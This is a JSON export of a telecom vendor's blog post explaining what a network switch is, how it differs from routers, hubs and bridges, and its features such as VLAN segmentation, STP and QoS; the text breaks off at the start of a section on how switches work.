{"id":4419,"date":"2024-10-22T05:49:28","date_gmt":"2024-10-22T05:49:28","guid":{"rendered":"https:\/\/www.revesoft.com\/blog\/?p=4419"},"modified":"2025-09-05T10:54:30","modified_gmt":"2025-09-05T10:54:30","slug":"what-is-network-switch","status":"publish","type":"post","link":"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/","title":{"rendered":"What is a Network Switch and How Does it Work? Explained"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">According to recent reports, <\/span><b>\u201cThe Network Switches market is projected to grow from USD 33 billion in 2023 to USD 45.5 billion by 2028, growing at a CAGR of 6.6% during the forecast period.\u201d<\/b><span style=\"font-weight: 400;\">\u00a0 That\u2019s a tremendous growth trajectory! But what is a network switch exactly? And what does a network switch do? Curious to find answers to these questions? You have landed on the right article. Join me as I take you through everything about network switches &#8211; how they work, benefits, features, real-life use cases, and a lot more.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Let\u2019s get started!\u00a0<\/span><\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_42 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" area-label=\"ez-toc-toggle-icon-1\"><label for=\"item-691d4e32d5c16\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-691d4e32d5c16\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 eztoc-visibility-hide-by-default' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#What_is_a_Network_Switch\" title=\"What is a Network Switch?\">What is a Network Switch?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Network_Switch_vs_Router_What_is_the_Difference\" title=\"Network Switch vs. Router: What is the Difference?\">Network Switch vs. Router: What is the Difference?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Network_Switch_vs_Hub_Whats_the_Difference\" title=\"Network Switch vs. Hub: What\u2019s the Difference?\">Network Switch vs. Hub: What\u2019s the Difference?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Network_Switch_vs_Bridge_Whats_the_Difference\" title=\"Network Switch vs. Bridge: What\u2019s the Difference?\">Network Switch vs. Bridge: What\u2019s the Difference?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Features_of_Network_Switches\" title=\"Features of Network Switches\u00a0\">Features of Network Switches\u00a0<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Packet-Forwarding\" title=\"Packet-Forwarding\">Packet-Forwarding<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Port-Based_Connectivity\" title=\"Port-Based Connectivity\u00a0\">Port-Based Connectivity\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Traffic_Segmentation\" title=\"Traffic Segmentation\u00a0\">Traffic Segmentation\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Broadcast_Control\" title=\"Broadcast Control\u00a0\">Broadcast Control\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Layer_2_Features\" title=\"Layer 2 Features\">Layer 2 Features<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Layer_3_Features\" title=\"Layer 3 Features\">Layer 3 Features<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Quality_of_Service_QoS\" title=\"Quality of Service (QoS)\">Quality of Service (QoS)<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#How_Does_a_Network_Switch_Work\" title=\"How Does a Network Switch Work?\">How Does a Network Switch Work?<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Arrival_of_Data_Packets\" title=\"Arrival of Data Packets\">Arrival of Data Packets<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Identification_of_MAC_Addresses\" title=\"Identification of MAC Addresses\">Identification of MAC Addresses<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Forwarding_of_Data_Packet\" title=\"Forwarding of Data Packet\">Forwarding of Data Packet<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Collision_Management\" title=\"Collision Management\">Collision Management<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Full_Duplex_Communication\" title=\"Full Duplex Communication\">Full Duplex Communication<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Collision_Detection\" title=\"Collision Detection\">Collision Detection<\/a><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-20\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#What_are_Various_Types_of_Switches\" title=\"What are Various Types of Switches?\">What are Various Types of Switches?<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-21\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Unmanaged_Switches\" title=\"Unmanaged Switches\">Unmanaged Switches<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-22\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Managed_Switches\" title=\"Managed Switches\">Managed Switches<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-23\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Layer_2_Switches\" title=\"Layer 2 Switches\">Layer 2 Switches<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-24\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Layer_3_Switches\" title=\"Layer 3 Switches\">Layer 3 Switches<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-25\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#PoE_Switches\" title=\"PoE Switches\">PoE Switches<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-26\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Stackable_Switches\" title=\"Stackable Switches\">Stackable Switches<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-27\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Data_Center_Switches\" title=\"Data Center Switches\">Data Center Switches<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-28\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Smart_Switches\" title=\"Smart Switches\">Smart Switches<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-29\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Modular_Switches\" title=\"Modular Switches\">Modular Switches<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-30\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Why_Are_Network_Switches_Valuable\" title=\"Why Are Network Switches Valuable?\">Why Are Network Switches Valuable?<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-31\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Improved_Network_Performance\" title=\"Improved Network Performance\">Improved Network Performance<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-32\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Easier_Network_Management\" title=\"Easier Network Management\">Easier Network Management<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-33\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Reduced_Cost_of_Network_Management\" title=\"Reduced Cost of Network Management\">Reduced Cost of Network Management<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-34\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Enhanced_Network_Security\" title=\"Enhanced Network Security\">Enhanced Network Security<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-35\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Better_Scalability_and_Flexibility\" title=\"Better Scalability and Flexibility\">Better Scalability and Flexibility<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-36\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#How_to_Set_up_a_Network_Switch\" title=\"How to Set up a Network Switch?\">How to Set up a Network Switch?<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-37\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Collect_the_Required_Equipment\" title=\"Collect the Required Equipment\">Collect the Required Equipment<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-38\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Make_the_Power_Connection\" title=\"Make the Power Connection\">Make the Power Connection<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-39\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Connect_the_Devices\" title=\"Connect the Devices\">Connect the Devices<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-40\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Access_and_Configure_the_Switch\" title=\"Access and Configure the Switch\">Access and Configure the Switch<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-41\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Test_Connectivity\" title=\"Test Connectivity\">Test Connectivity<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-42\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Use_Cases_for_Network_Switches\" title=\"Use Cases for Network Switches\">Use Cases for Network Switches<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-43\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Data_Centers\" title=\"Data Centers\">Data Centers<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-44\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Home_Networks\" title=\"Home Networks\">Home Networks<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-45\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#IP_Surveillance_Systems\" title=\"IP Surveillance Systems\">IP Surveillance Systems<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-46\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Wireless_Network_Expansion\" title=\"Wireless Network Expansion\">Wireless Network Expansion<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-47\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#How_to_Find_the_Best_Network_Switch_for_Your_Needs\" title=\"How to Find the Best Network Switch for Your Needs?\">How to Find the Best Network Switch for Your Needs?<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-48\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Consider_the_Port_Count_and_Type\" title=\"Consider the Port Count and Type\">Consider the Port Count and Type<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-49\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Switching_Capacity_and_Forwarding_Rate\" title=\"Switching Capacity and Forwarding Rate\">Switching Capacity and Forwarding Rate<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-50\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Consider_the_Form_Factor\" title=\"Consider the Form Factor\">Consider the Form Factor<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-51\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Look_for_Warranty\" title=\"Look for Warranty\">Look for Warranty<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-52\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#What_is_a_Network_Switch_-_Key_Takeaway\" title=\"What is a Network Switch &#8211; Key Takeaway!\">What is a Network Switch &#8211; Key Takeaway!<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-53\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#Frequently_Asked_Questions\" title=\"Frequently Asked Questions\">Frequently Asked Questions<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-54\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#What_is_STP_or_Spanning_Tree_Protocol\" title=\"What is STP or Spanning Tree Protocol?\">What is STP or Spanning Tree Protocol?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-55\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#What_is_the_role_of_the_MAC_address_table_in_a_switch\" title=\"What is the role of the MAC address table in a switch?\u00a0\">What is the role of the MAC address table in a switch?\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-56\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#What_is_Power_over_Ethernet_PoE\" title=\"What is Power over Ethernet (PoE)?\u00a0\">What is Power over Ethernet (PoE)?\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-57\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#What_is_link_aggregation_in_network_switches\" title=\"What is link aggregation in network switches?\">What is link aggregation in network switches?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-58\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#What_is_port_mirroring_on_a_network_switch\" title=\"What is port mirroring on a network switch?\">What is port mirroring on a network switch?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-59\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-network-switch\/#What_is_multicast_support_in_switches\" title=\"What is multicast support in switches?\">What is multicast support in switches?<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"What_is_a_Network_Switch\"><\/span>What is a Network Switch?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">A network switch is a networking device that connects multiple devices within a Local Area Network and performs the process of switching, i.e., forwarding data between devices. A network switch connects multiple devices, such as computers and servers. It works at the Data Link Layer, i.e., Layer 2 of the OSI (Open System Interconnection) Model.<\/span><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-4425 size-full\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/02\/Network-Switch-in-OSI-model.jpg\" alt=\"Network Switch in OSI model\" width=\"750\" height=\"610\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/02\/Network-Switch-in-OSI-model.jpg 750w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/02\/Network-Switch-in-OSI-model-300x244.jpg 300w\" sizes=\"auto, (max-width: 750px) 100vw, 750px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">The <\/span><a href=\"https:\/\/www.cisco.com\/c\/en\/us\/products\/switches\/what-is-network-switching.html#~q-a\"><span style=\"font-weight: 400;\">Network Switch definition by Cisco<\/span><\/a><span style=\"font-weight: 400;\">, the global <\/span><span style=\"font-weight: 400;\">leader in networking solutions, <\/span><span style=\"font-weight: 400;\">is:<\/span><\/p>\n<p><b>\u201cA switch connects devices within a LAN (local-area network) by using MAC addresses to identify where to send data packets.\u201d<\/b><\/p>\n<p><span style=\"font-weight: 400;\">I will explain it with the help of a real-life example.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Consider an office building with multiple floors, with each floor representing a specific department. Now, as work activities happen within the office building, the marketing team on the 5th floor needs to share a large project file with the design team on the 3rd floor. As the marketing team sends the file, the network switch comes into action. The switch receives the file that is to be sent and inspects the destination address. In this case, it determines the floor number or name of the team. Now, rather than broadcasting the file to the whole office building, the network switch intelligently transmits the data to the design team. <\/span><\/p>\n<p><span style=\"font-weight: 400;\">In essence, a network switch helps in efficient, secure, and swift communication between different devices connected to a network. Now that we are clear on what is a network switch, we shall move to the next section. <\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Network_Switch_vs_Router_What_is_the_Difference\"><\/span>Network Switch vs. Router: What is the Difference?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Often, network switches are confused with routers because both perform forwarding and routing of network traffic, but the way these two perform their functions is completely different.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">A router operates at Layer 3 of the <\/span><a href=\"https:\/\/en.wikipedia.org\/wiki\/OSI_model\"><span style=\"font-weight: 400;\">OSI model<\/span><\/a><span style=\"font-weight: 400;\">, i.e., the network layer and is used to connect networks to other networks. A router makes use of IP addresses to route data for handling traffic and can broadcast data to multiple networks of devices.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Network_Switch_vs_Hub_Whats_the_Difference\"><\/span>Network Switch vs. Hub: What\u2019s the Difference?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Hubs also perform the same function as network switches in one sense but lack intelligence. Data sent by one connected device is broadcast to all of the devices connected to the hub.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Network_Switch_vs_Bridge_Whats_the_Difference\"><\/span>Network Switch vs. Bridge: What\u2019s the Difference?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Network switches are an advanced version of the bridges because primarily both perform the same function, i.e., connect multiple devices on a network. But where do bridges lag? Well, switches offer more port density, faster data rates, and improved collision domain isolation compared to bridges.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The below table clearly defines how a network switch is different from a router, hub, and bridge.<\/span><\/p>\n<p>&nbsp;<\/p>\n\n<figure class=\"wp-block-table aligncenter\">\n<table>\n<tbody>\n<tr>\n<td class=\"has-text-align-center\" style=\"text-align: center;\" data-align=\"center\"><strong>Network Switch<\/strong><\/td>\n<td style=\"text-align: center;\"><strong>Router<\/strong><\/td>\n<td style=\"text-align: center;\"><strong>Hub<\/strong><\/td>\n<td style=\"text-align: center;\"><strong>Bridge<\/strong><\/td>\n<\/tr>\n<tr>\n<td class=\"has-text-align-center\" data-align=\"center\"><br \/>Connects devices within a LAN<\/td>\n<td><br \/>Connects different networks and routes data<\/td>\n<td><br \/>Connects devices within a LAN<\/td>\n<td><br \/>Connects segments of a network (LAN)<\/td>\n<\/tr>\n<tr>\n<td class=\"has-text-align-center\" data-align=\"center\"><br \/>Operates at the data link layer (Layer 2)<\/td>\n<td><br \/>Operates at the network layer (Layer 3)<\/td>\n<td><br \/>Operates at the data link layer (Layer 2)<\/td>\n<td><br \/>Operates at the data link layer (Layer 2)<\/td>\n<\/tr>\n<tr>\n<td class=\"has-text-align-center\" data-align=\"center\"><br \/>Uses MAC addresses for forwarding<\/td>\n<td><br \/>Uses both MAC and IP addresses for routing<\/td>\n<td><br \/>Floods incoming data to all ports<\/td>\n<td><br \/>Learns and filters MAC addresses for forwarding<\/td>\n<\/tr>\n<tr>\n<td class=\"has-text-align-center\" data-align=\"center\"><br \/>Switches based on MAC addresses<\/td>\n<td><br \/>Routes based on IP addresses<\/td>\n<td><br \/>Broadcasts all incoming packets to all ports<\/td>\n<td><br \/>Filters and forwards based on MAC addresses<\/td>\n<\/tr>\n<tr>\n<td class=\"has-text-align-center\" data-align=\"center\"><br \/>Does not deal with network layer operations<\/td>\n<td><br \/>Operates at the network layer operations<\/td>\n<td><br \/>Does not deal with network layer operations<\/td>\n<td><br \/>Does not deal with network layer operations<\/td>\n<\/tr>\n<tr>\n<td class=\"has-text-align-center\" data-align=\"center\"><br \/>Minimizes broadcast by directing traffic only to the intended recipient<\/td>\n<td><br \/>Limited broadcast traffic due to network segmentation<\/td>\n<td><br \/>Fills the entire network with broadcast traffic<\/td>\n<td><br \/>Minimizes broadcast traffic by directing it only to the intended recipient<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n\n<p>&nbsp;<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Features_of_Network_Switches\"><\/span>Features of Network Switches\u00a0<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3><span class=\"ez-toc-section\" id=\"Packet-Forwarding\"><\/span>Packet-Forwarding<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Switches make use of MAC addresses to forward data packets to designated destination ports. However, before sending the data, network switches perform a verification to ensure the integrity of the data.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Port-Based_Connectivity\"><\/span>Port-Based Connectivity\u00a0<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Network switches are intelligent devices that have multiple Ethernet ports and can function as multiport network bridges. The number of ports can range from a few (consumer grade) to hundreds and even thousands (enterprise class). Each port on a network switch connects to a device or another switch. This means that the number of ports on a switch determines the number of devices that can be connected simultaneously.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Traffic_Segmentation\"><\/span>Traffic Segmentation\u00a0<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Switches have the ability to isolate network traffic between different devices. By doing so, network switches ensure that devices on one network segment, such as a LAN or VLAN, cannot directly communicate with the other segment without permission. This helps improve network performance and security.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Broadcast_Control\"><\/span>Broadcast Control\u00a0<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">With their flooding control properties, switches implement mechanisms to control broadcast traffic and prevent the network from getting overwhelmed. Rather than sending traffic to all connected devices, switches only send data to specific segments or ports where the destination device is located.\u00a0\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Layer_2_Features\"><\/span>Layer 2 Features<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Most of the network switches operate at layer 2, i.e., data link layer of the OSI model. These switches maintain a table of MAC addresses and their corresponding port associations, allowing the switch to forward data only to the specific device that needs it, rather than broadcasting it to all devices. To prevent network loops, layer 2 switches make use of STP, i.e. Spanning Tree Protocol, that manages redundant data transmission and potential network instability.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Layer_3_Features\"><\/span>Layer 3 Features<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Switches that operate at the layer 3, i.e., network layer, of the OSI model are also known as multilayer switches. These switches perform different types of routing functions, including IP routing and inter-VLAN routing. These switches are often deployed in enterprise networks where more advanced network configurations and traffic management are required.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Quality_of_Service_QoS\"><\/span>Quality of Service (QoS)<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">The QoS feature of network switches helps in prioritizing certain types of traffic over others. With this, network administrators can ensure that critical or latency-sensitive applications, such as voice and video, receive the bandwidth they need. For example, in VoIP setups, QoS ensures that voice traffic is given high priority over other data such as file transfers, ensuring smooth, uninterrupted calls, even during peak hours.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_Does_a_Network_Switch_Work\"><\/span>How Does a Network Switch Work?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">The primary role of a network switch is to direct data packets to their intended destinations, thus managing the flow of data and connectivity between multiple devices within a LAN.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-4427 size-full\" 